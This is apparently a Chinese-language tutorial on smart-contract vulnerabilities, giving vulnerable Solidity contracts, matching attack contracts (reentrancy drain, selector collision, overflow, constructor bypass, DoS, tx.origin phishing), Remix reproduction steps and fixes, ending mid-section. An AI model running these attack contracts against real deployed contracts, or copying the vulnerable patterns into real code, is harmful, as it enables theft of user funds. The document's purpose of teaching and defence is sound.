1. 重入攻击
📌 重入攻击是智能合约中最常见的一种攻击,攻击者通过合约漏洞(例如fallback函数)循环调用合约,将合约中资产转走或铸造大量代币。
1.1 复现 Bank.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 contract Bank { mapping (address => uint256) public balanceOf; // 记录账户余额 constructor() payable {} // 存款 function deposit() external payable { balanceOf[msg.sender] += msg.value; } // 取款,默认一次性取完 function withdraw() external { uint256 balance = balanceOf[msg.sender]; require(balance > 0, "balance is null"); (bool success, ) = msg.sender.call{value: balance}(""); require(success, "withdraw is fail"); balanceOf[msg.sender] = 0; } function getBalance() external view returns (uint256) { return address(this).balance; } }
Hacker.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 contract Hacker { Bank bank; constructor(address _bank) { bank = Bank(_bank); } function attack() external payable { bank.deposit{value: msg.value}(); bank.withdraw(); } receive() external payable { if (bank.getBalance() > 0) { bank.withdraw(); } } function getBalance() external view returns (uint256) { return address(this).balance; } }
分析
当 Hacker
调用 attack
函数时,先执行存款操作,很正常,但是当执行到取款操作时,(bool success, ) = msg.sender.call{value: balance}("")
这行代码旨在给调用者转账,调用者中的回退函数会被默认执行,但是在 Hacker
合约中,receive
回退函数中又去调用了取钱操作,取钱操作的逻辑无法继续往下进行,调用者的账户余额无法得到更新,从而使得银行误以为 require(balance > 0, "balance is null");
是正确的,所以一直执行(bool success, ) = msg.sender.call{value: balance}("")
,直到银行中的余额被盗取空为止。
执行逻辑
部署Bank
合约,转入20 ETH
。
切换到攻击者钱包,部署Hacker
合约。
调用Hacker
合约的attack()
函数发动攻击,调用时需转账1 ETH
。
调用Bank
合约的getBalance()
函数,发现余额已被提空。
调用Hacker
合约的getBalance()
函数,可以看到余额变为21 ETH
,重入攻击成功。
1.2 预防
📌 目前主要有两种办法来预防可能的重入攻击漏洞: 检查-影响-交互模式(checks-effect-interaction)和重入锁
检查-影响-交互模式
检查-影响-交互模式强调编写函数时,要先检查状态变量是否符合要求,紧接着更新状态变量(例如余额),最后再和别的合约交互。如果我们将Bank
合约withdraw()
函数中的更新余额提前到转账ETH
之前,就可以修复漏洞:
1 2 3 4 5 6 7 8 9 function withdraw() external { uint256 balance = balanceOf[msg.sender]; require(balance > 0, "Insufficient balance"); // 检查-效果-交互模式(checks-effect-interaction):先更新余额变化,再发送ETH // 重入攻击的时候,balanceOf[msg.sender]已经被更新为0了,不能通过上面的检查。 balanceOf[msg.sender] = 0; (bool success, ) = msg.sender.call{value: balance}(""); require(success, "Failed to send Ether"); }
重入锁
重入锁是一种防止重入函数的修饰器(modifier),它包含一个默认为0
的状态变量_status
。被nonReentrant
重入锁修饰的函数,在第一次调用时会检查_status
是否为0
,紧接着将_status
的值改为1
,调用结束后才会再改为0
。这样,当攻击合约在调用结束前第二次的调用就会报错,重入攻击失败。
1 2 3 4 5 6 7 8 9 10 11 12 uint256 private _status; // 重入锁 // 重入锁 modifier nonReentrant() { // 在第一次调用 nonReentrant 时,_status 将是 0 require(_status == 0, "ReentrancyGuard: reentrant call"); // 在此之后对 nonReentrant 的任何调用都将失败 _status = 1; _; // 调用结束,将 _status 恢复为0 _status = 0; }
只需要用nonReentrant
重入锁修饰withdraw()
函数,就可以预防重入攻击了。
2. 选择器碰撞
📌以太坊智能合约中,函数选择器是函数签名 "<function name>(<function input types>)"
的哈希值的前4
个字节(8
位十六进制)。当用户调用合约的函数时,calldata
的前4
字节就是目标函数的选择器,决定了调用哪个函数。
2.1 复现 下面我们来看一下有漏洞的合约例子。SelectorClash
合约有1
个状态变量 solved
,初始化为false
,攻击者需要将它改为true
。合约主要有2
个函数,函数名沿用自 Poly Network 漏洞合约。
putCurEpochConPubKeyBytes()
:攻击者调用这个函数后,就可以将solved
改为true
,完成攻击。但是这个函数检查msg.sender == address(this)
,因此调用者必须为合约本身,我们需要看下其他函数。
executeCrossChainTx()
:通过它可以调用合约内的函数,但是函数参数的类型和目标函数不太一样:目标函数的参数为(bytes)
,而这里调用的函数参数为(bytes,bytes,uint64)
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 contract SelectorClash { bool public solved; // 攻击是否成功 // 攻击者需要调用这个函数,但是调用者 msg.sender 必须是本合约。 function putCurEpochConPubKeyBytes(bytes memory _bytes) public { require(msg.sender == address(this), "Not Owner"); solved = true; } // 有漏洞,攻击者可以通过改变 _method 变量碰撞函数选择器,调用目标函数并完成攻击。 function executeCrossChainTx(bytes memory _method, bytes memory _bytes, bytes memory _bytes1, uint64 _num) public returns(bool success){ (success, ) = address(this).call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), abi.encode(_bytes, _bytes1, _num))); } }
攻击方法
利用executeCrossChainTx()
函数调用合约中的putCurEpochConPubKeyBytes()
,目标函数的选择器为:0x41973cd9
。观察到executeCrossChainTx()
中是利用_method
参数和"(bytes,bytes,uint64)"
作为函数签名计算的选择器。因此,我们只需要选择恰当的_method
,让这里算出的选择器等于0x41973cd9
,通过选择器碰撞调用目标函数。
Poly Network黑客事件中,黑客碰撞出的_method
为 f1121318093
,即f1121318093(bytes,bytes,uint64)
的哈希前4
位也是0x41973cd9
,可以成功的调用函数。接下来我们要做的就是将f1121318093
转换为bytes
类型:0x6631313231333138303933
,然后作为参数输入到executeCrossChainTx()
中。executeCrossChainTx()
函数另3
个参数不重要,填 0x
, 0x
, 0
就可以。
将f1121318093
转为bytes类型的 在线编译器
这两个网站来查同一个选择器对应的不同函数:
https://www.4byte.directory/
https://sig.eth.samczsun.com/
Remix复现
部署SelectorClash
合约,并调用putCurEpochConPubKeyBytes
会报错
将 f1121318093
转为bytes类型之后,调用 executeCrossChainTx
函数
solved的值被成功修改为true
3. 访问控制 某些对权限有要求的方法的修饰符逻辑错误造成合约中的某些私有函数可以被非法调用
常出现的地方
function 的修饰器 modifier
上;
访问控制权限 private public internal external
调用方法 call delegatecall
3.1 复现 漏洞示例一
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 pragma solidity ^0.4.24; contract AccessGame{ uint totalSupply=0; address public owner; mapping (address => uint256) public balances; event SendBouns(address _who, uint bouns); modifier onlyOwner { if (msg.sender != owner) revert(); _; } constructor() public { initOwner(msg.sender); //initOwner()初始化管理员权限 } function initOwner(address _owner) public{ owner=_owner; } function SendBonus(address lucky, uint bouns) public onlyOwner returns (uint){ require(balances[lucky]<1000); require(bouns<200); balances[lucky]+=bouns; totalSupply+=bouns; emit SendBouns(lucky, bouns); return balances[lucky]; } }
onlyOwner
修饰器要求调用者必须是 owner
,而owner
在初始化的时候就已经声明了,但是 function initOwner(address _owner) public
,的访问权限为 public
,任何人都可以调用,只要将owner
设置为hacker
就可以成功调用SendBonus
函数了。
漏洞示例二
call
的滥用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; contract Target { bool public issloved; function slove() external { require(msg.sender == address(this)); issloved = true; } function call(bytes memory data) external { address(this).call(data); } } contract Hacker { address target; constructor(address _target) { target = _target; } function attack() external { target.call(abi.encodeWithSelector(Target.call.selector, abi.encodeWithSignature("slove()"))); } }
低级调用call
会改变msg.sender
的值。
4. 整数溢出 以太坊虚拟机 (EVM) 为整数指定固定大小的数据类型。这意味着一个整数变量,只能表示一定范围的数字。例如uint8 只能存储 [0,255] 范围内的数字。尝试将 256 存储到 uint8 将导致 0。如果不小心,用户输入未被检查,并且执行的计算结果超出了存储它们的数据类型的范围,那么 Solidity 中的变量可能会被利用。整数溢出漏洞有上溢和下溢两种情形。solidity 0.8.0
版本之之前 。
上溢
整数上溢是指数字的增量超过其能存储的最大值。如对于 uint256 类型的变量,Solidity 可以处理多达 256 个比特位的数值 (最大值是 2256 - 1),所以如果在最大数上增加 1 会导致 0。如下所示:
1 2 3 4 5 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF + 0x000000000000000000000000000000000001 ------------------------------------------ = 0x000000000000000000000000000000000000
下溢
同样,在相反的情况下,当数字是无符号的时,递减将会下溢该数字,从而得到可能的最大值。如下所示:
1 2 3 4 5 0x000000000000000000000000000000000000 - 0x000000000000000000000000000000000001 ------------------------------------------ = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
4.1 复现 示例一
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 pragma solidity ^0.4.18; contract TimeLock { mapping(address => uint) public balances; mapping(address => uint) public lockTime; function deposit() public payable { balances[msg.sender] += msg.value; lockTime[msg.sender] = now + 1 weeks; } function increaseLockTime(uint _secondsToIncrease) public { lockTime[msg.sender] += _secondsToIncrease; } function withdraw() public { require(balances[msg.sender] > 0); require(now > lockTime[msg.sender]); uint transferValue = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(transferValue); } }
其中的increaseLockTime
函数中,由于可以自己输入一个自由的时间戳增量,所以会带来整数溢出的危险。试想一下,如果输入的_secondsToIncrease
和原有的lockTime[msg.sender]
相加,由于溢出,最后使得lockTime[msg.sender]
的值成为一个很小的值,这样在withdraw
函数中,就可以顺利通过。
攻击合约
1 2 3 4 5 6 7 8 contract Hacker { function attack() external view returns (uint256 result) { uint zero = 0; uint hacker_time = zero - 1; result = hacker_time - now; } }
示例二
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; contract Token { mapping(address => uint) balances; uint public totalSupply; constructor(uint _initialSupply) { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { unchecked{ require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; } return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } }
📌分析:
由于solidity 0.8.0
版本之后会自动检查整型溢出错误,溢出时会报错。如果我们要重现这种漏洞,需要使用 unchecked
关键字,在代码块中临时关掉溢出检查。
漏洞所在: require(balances[msg.sender] - _value >= 0);
不管转账的金额是多少,该条件永远都会通过,当balances[msg.sender] > _value
时,此时msg.sender
的余额发生下溢,余额将多到离谱。
4.2 预防 我们建议使用 OpenZeppelin 的 SafeMath 库来解决整数溢出问题。OppenZepplin 在构建和审计安全库方面做得很好,特别是他们的安全数学库是一个用来避免溢出漏洞的参考或库,且已称为一个标准。
使用方法:using SafeMath for uint;
5. 签名重放
📌 数字签名一般有两种常见的重放攻击
普通重放:将本该使用一次的签名多次使用。
跨链重放:将本该在一条链上使用的签名,在另一条链上重复使用。
5.1 复现 下面的SigReplay
合约是一个ERC20
代币合约,它的铸造函数有签名重放漏洞。它使用链下签名让白名单地址 to
铸造相应数量 amount
的代币。合约中保存了 signer
地址,来验证签名是否有效。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; // 权限管理错误例子 contract SigReplay is ERC20 { address public signer; // 构造函数:初始化代币名称和代号 constructor() ERC20("SigReplay", "Replay") { signer = msg.sender; } /** * 有签名重放漏洞的铸造函数 * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 * amount: 1000 * 签名: 0x5a4f1ad4d8bd6b5582e658087633230d9810a0b7b8afa791e3f94cc38947f6cb1069519caf5bba7b975df29cbfdb4ada355027589a989435bf88e825841452f61b */ function badMint(address to, uint amount, bytes memory signature) public { bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); require(verify(_msgHash, signature), "Invalid Signer!"); _mint(to, amount); } /** * 将to地址(address类型)和amount(uint256类型)拼成消息msgHash * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 * amount: 1000 * 对应的消息msgHash: 0xb4a4ba10fbd6886a312ec31c54137f5714ddc0e93274da8746a36d2fa96768be */ function getMessageHash(address to, uint256 amount) public pure returns(bytes32){ return keccak256(abi.encodePacked(to, amount)); } /** * @dev 获得以太坊签名消息 * `hash`:消息哈希 * 遵从以太坊签名标准:https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * 以及`EIP191`:https://eips.ethereum.org/EIPS/eip-191` * 添加"\x19Ethereum Signed Message:\n32"字段,防止签名的是可执行交易。 */ function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } // ECDSA验证 function verify(bytes32 _msgHash, bytes memory _signature) public view returns (bool){ return ECDSA.recover(_msgHash, _signature) == signer; }
注意 铸造函数 badMint()
没有对 signature
查重,导致同样的签名可以多次使用,无限铸造代币
1 2 3 4 5 function badMint(address to, uint amount, bytes memory signature) public { bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount))); require(verify(_msgHash, signature), "Invalid Signer!"); _mint(to, amount); }
简单来说就是,学校给你一张免费餐券,按照常理来说,一张午餐券只能使用一次,但是食堂阿姨她不收走你的免费午饭券,以致于下次你继续拿着这张免费餐券来吃饭,阿姨又不收走,然后你就一直靠着这张餐券白吃白喝。
5.2 预防 签名重放攻击主要有两种预防办法
方法一:将使用过的签名记录下来,比如记录下已经铸造代币的地址 mintedAddress
,防止签名反复使用
1 2 3 4 5 6 7 8 9 10 11 12 13 mapping(address => bool) public mintedAddress; // 记录已经mint的地址 function goodMint(address to, uint amount, bytes memory signature) public { bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); require(verify(_msgHash, signature), "Invalid Signer!"); // 检查该地址是否mint过 require(!mintedAddress[to], "Already minted"); // 记录mint过的地址 mintedAddress[to] = true; _mint(to, amount); } ```solidity
方法二:将 nonce
(数值随每次交易递增)和 chainid
(链ID)包含在签名消息中,这样可以防止普通重放和跨链重放攻击
1 2 3 4 5 6 7 8 uint nonce; function nonceMint(address to, uint amount, bytes memory signature) public { bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount, nonce, block.chainid))); require(verify(_msgHash, signature), "Invalid Signer!"); _mint(to, amount); nonce++; }
6. 坏随机数 很多以太坊上的应用都需要用到随机数,例如NFT
随机抽取tokenId
、抽盲盒、gamefi
战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明(public
)且确定性(deterministic
)的,它没有其他编程语言一样给开发者提供生成随机数的方法,例如random()
。很多项目方不得不使用链上的伪随机数生成方法,例如 blockhash()
和 keccak256()
方法。
坏随机数漏洞:攻击者可以事先计算这些伪随机数的结果,从而达到他们想要的目的,例如铸造任何他们想要的稀有NFT
而非随机抽取
6.1 复现 案例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 contract BadRandomness is ERC721 { uint256 totalSupply; // 构造函数,初始化NFT合集的名称、代号 constructor() ERC721("", ""){} // 铸造函数:当输入的 luckyNumber 等于随机数时才能mint function luckyMint(uint256 luckyNumber) external { uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number require(randomNumber == luckyNumber, "Better luck next time!"); _mint(msg.sender, totalSupply); // mint totalSupply++; } }
伪随机数使用 blockhash
和 block.timestamp
声称
攻击合约
1 2 3 4 5 6 7 8 9 10 contract Attack { function attackMint(BadRandomness nftAddr) external { // 提前计算随机数 uint256 luckyNumber = uint256( keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) ) % 100; // 利用 luckyNumber 攻击 nftAddr.luckyMint(luckyNumber); } }
分析:
攻击函数 attackMint()
中的参数为 BadRandomness
合约地址。在其中,我们计算了随机数 luckyNumber
,然后将它作为参数输入到 luckyMint()
函数完成攻击。由于attackMint()
和luckyMint()
将在同一个区块中调用,blockhash
和block.timestamp
是相同的,利用他们生成的随机数也相同。 这个漏洞在 此靶场 中有考察过。
6.2 预防 我们通常使用预言机项目提供的链下随机数来预防这类漏洞,例如 Chainlink VRF。这类随机数从链下生成,然后上传到链上,从而保证随机数不可预测。更多介绍可以阅读 WTF Solidity极简教程 第39讲:伪随机数 。
7. 绕过合约长度检查 很多 freemint 的项目为了限制科学家(程序员)会用到 isContract()
方法,希望将调用者 msg.sender
限制为外部账户(EOA),而非合约。这个函数利用 extcodesize
获取该地址所存储的 bytecode
长度(runtime),若大于0,则判断为合约,否则就是EOA(用户)。
7.1 复现 1 2 3 4 5 6 7 8 9 10 // 利用 extcodesize 检查是否为合约 function isContract(address account) public view returns (bool) { // extcodesize > 0 的地址一定是合约地址 // 但是合约在构造函数时候 extcodesize 为0 uint size; assembly { size := extcodesize(account) } return size > 0; }
这里有一个漏洞,就是在合约在被创建的时候,runtime bytecode
还没有被存储到地址上,因此 bytecode
长度为0。也就是说,如果我们将逻辑写在合约的构造函数 constructor
中的话,就可以绕过 isContract()
检查。 怎么理解呢,extcodesize
统计的是部署到区块链上的合约代码大小,而合约未初始化完成的时候,就不会上链,此时统计该合约的代码大小也是为0,这样就可以绕过合约检查了。
示例
ContractCheck
合约是一个 freemint ERC20 合约,铸造函数 mint()
中使用了 isContract()
函数来阻止合约地址的调用,防止科学家批量铸造。每次调用 mint()
可以铸造 100 枚代币。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // 用extcodesize检查是否为合约地址 contract ContractCheck is ERC20 { // 构造函数:初始化代币名称和代号 constructor() ERC20("", "") {} // 利用 extcodesize 检查是否为合约 function isContract(address account) public view returns (bool) { // extcodesize > 0 的地址一定是合约地址 // 但是合约在构造函数时候 extcodesize 为0 uint size; assembly { size := extcodesize(account) } return size > 0; } // mint函数,只有非合约地址能调用(有漏洞) function mint() public { require(!isContract(msg.sender), "Contract not allowed!"); _mint(msg.sender, 100); } }
写一个攻击合约,在 constructor
中多次调用 ContractCheck
合约中的 mint()
函数,批量铸造 1000
枚代币。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // 利用构造函数的特点攻击 contract NotContract { bool public isContract; address public contractCheck; // 当合约正在被创建时,extcodesize (代码长度) 为 0,因此不会被 isContract() 检测出。 constructor(address addr) { contractCheck = addr; isContract = ContractCheck(addr).isContract(address(this)); // This will work for(uint i; i < 10; i++){ ContractCheck(addr).mint(); } } // 合约创建好以后,extcodesize > 0,isContract() 可以检测 function mint() external { ContractCheck(contractCheck).mint(); } }
调用NotContract
合约的 mint()
函数,由于此时合约已经部署完成,调用 mint()
函数将失败。
7.2 预防 可以使用 (tx.origin == msg.sender)
来检测调用者是否为合约。如果调用者为 EOA,那么tx.origin
和msg.sender
相等;如果它们俩不相等,调用者为合约。
在原来的合约上添加此函数,且mint
函数中断言也需要修改。
1 2 3 4 5 6 7 8 9 function realContract(address account) public view returns (bool) { return (tx.origin == account); } function mint() public { require(!realContract(msg.sender), "Contract not allowed!"); _mint(msg.sender, 100); }
分析,tx.origin
肯定是一个EOA
账户,如果msg.sender
不是一个EOA
账户的话,将无法通过该断言。
8. 拒绝服务攻击 DoS 是 Denial of service 的简称,即拒绝服务,任何对服务的干涉,使得其可用性降低或者失去可用性均称为拒绝服务。在 Web3,它指的是利用漏洞使得智能合约无法正常提供服务。
智能合约拒绝服务攻击 :可以导致智能合约无法正常使用的代码逻辑错误,兼容性错误或调用深度过大(区块链虚拟机的特性)的安全问题。智能合约中的拒绝服务攻击手法就相对比较简单,包括但不限于以下三种:
1、基于代码逻辑的拒绝服务攻击:这种类型的拒绝服务攻击一般情况下是因为合约代码逻辑的不严谨造成的,最典型的就是当合约中存在对传入的映射或数组循环遍历的逻辑且没有限制传入的映射或数组的长度时攻击者可以通过传入超长的映射或者数组进行循环遍历而大量消耗 Gas 从而该笔交易的 Gas 溢出,最后使得智能合约暂时或永久不可操作。
2、基于外部调用的拒绝服务攻击:这种拒绝服务攻击是建立在合约中对外部调用处理不当导致的。例如智能合约中存在基于外部函数执行的结来改变合约状态且没有对交易一直失败的情况做出处理,攻击者会利用这个特点故意使交易失败,智能合约则会一直重复这笔失败的交易从而造成智能合约逻辑卡在这里不能继续执行,最后使得智能合约暂时或永久不可操作。
3、基于运营管理的拒绝服务攻击:这种拒绝服务攻击就是建立在后期运营情况下,例如在智能合约中通常会存在以 Owner 账户作为管理员角色,该角色通常会持有很高的权限,例如开启或暂停转账功能,当 Owner 角色操作失误或私钥丢失可能会受到非主观意义上的拒绝服务攻击。
8.1 复现 基于外部调用的拒绝服务攻击
示例一
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; contract KingOfEther { address public king; uint public balance; function claimThrone() external payable { require(msg.value > balance, "Need to pay more to become the king"); (bool sent, ) = king.call{value: balance}(""); require(sent, "Failed to send Ether"); balance = msg.value; king = msg.sender; } }
Hacker
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; contract Attack { KingOfEther kingOfEther; constructor(KingOfEther _kingOfEther) { kingOfEther = KingOfEther(_kingOfEther); } function attack() public payable { kingOfEther.claimThrone{value: msg.value}(); } }
分析 (这里引用了慢雾的分析,感觉分析得很有意思)
首先我们先来分析攻击流程:
Alice 部署 KingOfEther 合约。
Alice 调用 KingOfEther.claimThrone() 发送 1 个以太到 KingOfEther 合约中成为「以太之王」。
高富帅 Bob 调用 KingOfEther.claimThrone() 发送 2 个以太到 KingOfEther 合约中成为新王。
Alice 收到 1 个以太币的退款。
Eve 使用 KingOfEther 的地址部署攻击合约 Attack。
Eve 调用 Attack.attack() 向 KingOfEther 合约中发送 3 个以太。
Attack 合约成为新王。
高富帅 Bob 觉得不服,再次调用 KingOfEther.claimThrone() 向 KingOfEther 合约中发送了 20 个以太展现自己的「钞能力」。
Bob 发现自己的交易一直被 revert,无法成为新王。至此,Eve 的攻击使 KingOfEther 合约永久失效,Attack 合约成为了永远的「以太之王」。
高富帅 Bob 觉得不可思议,为啥自己这么有钱还不能称王呢?我们来看看到底是为什么。
当 Bob 调用 KingOfEther.claimThrone() 发送 20 个以太到 KingOfEther 合约时会触发 KingOfEther.claimThrone() 的退款逻辑,将之前 Eve 通过 Attack.attack() 向 KingOfEther 合约中发送的 3 个以太原路退回到 Attack 合约。我们再来看 Attack 合约,该合约中没有实现 payable 的 fallback() 所以不能接收以太币,这将导致 KingOfEther.claimThrone() 的退款逻辑一直失败,退款返回值 sent 将一直为 false 无法通过 require(sent, “Failed to send Ether”) 检查一直被 revert。因为只要触发退款就会被 revert 导致 KingOfEther 合约中继 Attack 合约后无人能成为新王,Eve 成功完成了拒绝服务攻击。
示例二
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; // 有DoS漏洞的游戏,玩家们先存钱,游戏结束后,调用refund退钱。 contract DoSGame { bool public refundFinished; mapping(address => uint256) public balanceOf; address[] public players; // 所有玩家存ETH到合约里 function deposit() external payable { require(!refundFinished, "Game Over"); require(msg.value > 0, "Please donate ETH"); // 记录存款 balanceOf[msg.sender] = msg.value; // 记录玩家地址 players.push(msg.sender); } // 游戏结束,退款开始,所有玩家将依次收到退款 function refund() external { require(!refundFinished, "Game Over"); uint256 pLength = players.length; // 通过循环给所有玩家退款 for(uint256 i; i < pLength; i++){ address player = players[i]; uint256 refundETH = balanceOf[player]; (bool success, ) = player.call{value: refundETH}(""); require(success, "Refund Fail!"); balanceOf[player] = 0; } refundFinished = true; } function balance() external view returns(uint256){ return address(this).balance; } }
漏洞在于,refund()
函数中利用循环退款的时候,是使用的 call
函数,将激活目标地址的回调函数,如果目标地址为一个恶意合约,在回调函数中加入了恶意逻辑,退款将不能正常进行。如何如何理解呢,call
转账,便会触发目标地址的回退函数,如果在回退函数中加入revert();
语句,此时success
的值永远都是false
,循环将被迫终止,从而使得Hacker
之后的用户永远无法取款。
Hacker
1 2 3 4 5 6 7 8 9 10 11 12 contract Hacker { // 退款时进行DoS攻击 fallback() external payable{ revert("DoS Attack!"); } // 参与DoS游戏并存款 function attack(address gameAddr) external payable { DoSGame dos = DoSGame(gameAddr); dos.deposit{value: msg.value}(); } }
attack()
函数中将调用 DoSGame
合约的 deposit()
存款并参与游戏;fallback()
回调函数将回退所有向该合约发送ETH
的交易,对DoSGame
合约中的 DoS 漏洞进行了攻击,所有退款将不能正常进行,资金被锁在合约中,就像 Akutar 合约中的一万多枚 ETH 一样。
8.2 预防方法
很多逻辑错误都可能导致智能合约拒绝服务,所以开发者在写智能合约时要万分谨慎。以下是一些需要特别注意的地方:
外部合约的函数调用(例如 call
)失败时不会使得重要功能卡死,比如将上面漏洞合约中的 require(success, "Refund Fail!");
去掉,退款在单个地址失败时仍能继续运行。
合约不会出乎意料的自毁。
合约不会进入无限循环。
require
和 assert
的参数设定正确。
退款时,让用户从合约自行领取(push),而非批量发送给用户(pull)。
确保回调函数不会影响正常合约运行。
确保当合约的参与者(例如 owner
)永远缺席时,合约的主要业务仍能顺利运行。
9. 貔貅 这是一个会被割韭菜的漏洞
具体介绍 在这里
10. 抢先交易
链上抢跑指的是搜索者或矿工通过调高gas
或其他方法将自己的交易安插在其他交易之前,来攫取价值。在区块链中,矿工可以通过打包、排除或重新排序他们产生的区块中的交易来获得一定的利润,而MEV
是衡量这种利润的指标。
在用户的交易被矿工打包进以太坊区块链之前,大部分交易会汇集到Mempool(交易内存池)中,矿工在这里寻找费用高的交易优先打包出块,实现利益最大化。通常来说,gas price越高的交易,越容易被打包。同时,一些MEV
机器人也会搜索mempool
中有利可图的交易。比如,一笔在去中心化交易所中滑点设置过高的swap
交易可能会被三明治攻击:通过调整gas,套利者会在这笔交易之前插一个买单,再在之后发送一个卖单,并从中盈利。这等效于哄抬市价。
详细学习
11. tx.origin钓鱼攻击
📌 这个漏洞我感觉有点牵强吧,为哈子tx.origin
要无缘无故乱调用未知的函数捏,反正咱管不着,万一捏,万一ta好奇心强呢。
11.1 复现 Bank
transfer()
: 该函数会获得两个参数_to
和_amount
,先检查tx.origin == owner
,无误后再给_to
转账_amount
数量的ETH。注意:这个函数有被钓鱼攻击的风险!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 contract Bank { address public owner;//记录合约的拥有者 //在创建合约时给 owner 变量赋值 constructor() payable { owner = msg.sender; } function transfer(address payable _to, uint _amount) public { //检查消息来源 !!! 可能owner会被诱导调用该函数,有钓鱼风险! require(tx.origin == owner, "Not owner"); //转账ETH (bool sent, ) = _to.call{value: _amount}(""); require(sent, "Failed to send Ether"); } }
Hacker
attack()
:攻击函数,该函数需要银行合约的owner
地址调用,owner
调用攻击合约,攻击合约再调用银行合约的transfer()
函数,确认tx.origin == owner
后,将银行合约内的余额全部转移到黑客地址中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 contract Attack { // 受益者地址 address payable public hacker; // Bank合约地址 Bank bank; constructor(Bank _bank) { //强制将address类型的_bank转换为Bank类型 bank = Bank(_bank); //将受益者地址赋值为部署者地址 hacker = payable(msg.sender); } function attack() public { //诱导bank合约的owner调用,于是bank合约内的余额就全部转移到黑客地址中 bank.transfer(hacker, address(bank).balance); } }
Remix演示
先给Bank转钱,转 5ETH
切换到另一个账户(hacker账户),部署攻击合约
这里最那啥,需要切换回Bank
的部署者地址,就算是 ***诱导
***吧,调用attackt
函数
11.2 预防
目前主要有两种办法来预防可能的tx.origin
钓鱼攻击。
1 .使用msg.sender
代替tx.origin
msg.sender
能够获取直接调用当前合约的调用发送者地址,通过对msg.sender
的检验,就可以避免整个调用过程中混入外部攻击合约对当前合约的调用
1 2 3 4 5 6 function transfer(address payable _to, uint256 _amount) public { require(msg.sender == owner, "Not owner"); (bool sent, ) = _to.call{value: _amount}(""); require(sent, "Failed to send Ether"); }
2. 检验tx.origin == msg.sender
如果一定要使用tx.origin
,那么可以再检验tx.origin
是否等于msg.sender
,这样也可以避免整个调用过程中混入外部攻击合约对当前合约的调用。但是副作用是其他合约将不能调用这个函数。
1 2 3 4 5 6 function transfer(address payable _to, uint _amount) public { require(tx.origin == owner, "Not owner"); require(tx.origin == msg.sender, "can't call by external contract"); (bool sent, ) = _to.call{value: _amount}(""); require(sent, "Failed to send Ether"); }
好嘛,名字起的好,叫作钓鱼~
12. 未检查的低级调用
📌以太坊的低级调用包括 call()
,delegatecall()
,staticcall()
,和send()
。这些函数与 Solidity 其他函数不同,当出现异常时,它并不会向上层传递,也不会导致交易完全回滚;它只会返回一个布尔值 false
,传递调用失败的信息。因此,如果未检查低级函数调用的返回值,则无论低级调用失败与否,上层函数的代码会继续运行。
最容易出错的是send()
:一些合约使用 send()
发送 ETH
,但是 send()
限制 gas 要低于 2300,否则会失败。当目标地址的回调函数比较复杂时,花费的 gas 将高于 2300,从而导致 send()
失败。如果此时在上层函数没有检查返回值的话,交易继续执行,就会出现意想不到的问题。
12.1 复现 示例
UncheckedBank
